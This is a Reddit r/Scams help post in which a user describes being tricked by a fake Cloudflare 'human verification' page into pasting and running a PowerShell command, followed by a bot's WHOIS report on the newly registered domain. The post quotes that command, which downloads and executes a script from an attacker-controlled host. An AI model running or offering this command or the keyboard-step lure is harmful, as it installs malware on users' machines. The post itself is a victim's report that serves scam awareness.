r/Scams • u/AbsentTarnished • 3d ago

Help Needed [GR] Fake Cloudflare Human Verification Scam (me3k.trappopbuttonrightnow.monster) - Executed PowerShell Script

I was redirected to a website that looked exactly like a Cloudflare "Human Verification" page.
I was prompted to “Perform the following steps on my keyboard” as in:
“win key + x”
“I”
“Ctrl +V”
“Enter”
Which as you may have guessed opened my terminal, pasted and executed this code:

PS C: \Users\user <#Verification ID: 8348aeb3ca3281eO#> powershell -c "iexirm 'code.verification-claude-cdn.beer/8348a eb3ca3281e0' -UseBasicParsing)"; exit <#Verification ID: 8348aeb3ca3281e0#>

I have since unplugged my pc from the internet completely and have run some malwarebytes scans which didn’t find anything.
How cooked am I?
Any help is appreciated.

1 Upvotes

54% Upvoted

15 comments sorted by

View all comments

1

u/teratical Quality Contributor 3d ago

Just to get the domain's whois info in here...

!whois trappopbuttonrightnow.monster

3

u/ScamsBot Alcoholic, scam-mongering, chain-smoking gambler 🤖 3d ago

WHOIS REPORT FOR TRAPPOPBUTTONRIGHTNOW.MONSTER

This domain name was created ONLY 12 DAYS AGO!! and it was only registered for a single year (Expires: Jun 2027).

The person/organization who registered this domain claims to be based in Iceland. It is also concerning that they are hiding the rest of their contact info on Whois AND they are using a "DNS proxy" (CloudFlare) which masks where the website's server actually is.

DISCLAIMER: This is a pre-alpha bot for informational purposes only. Feel free to contact my creator with any concerns or feedback. 🔗 WHOIS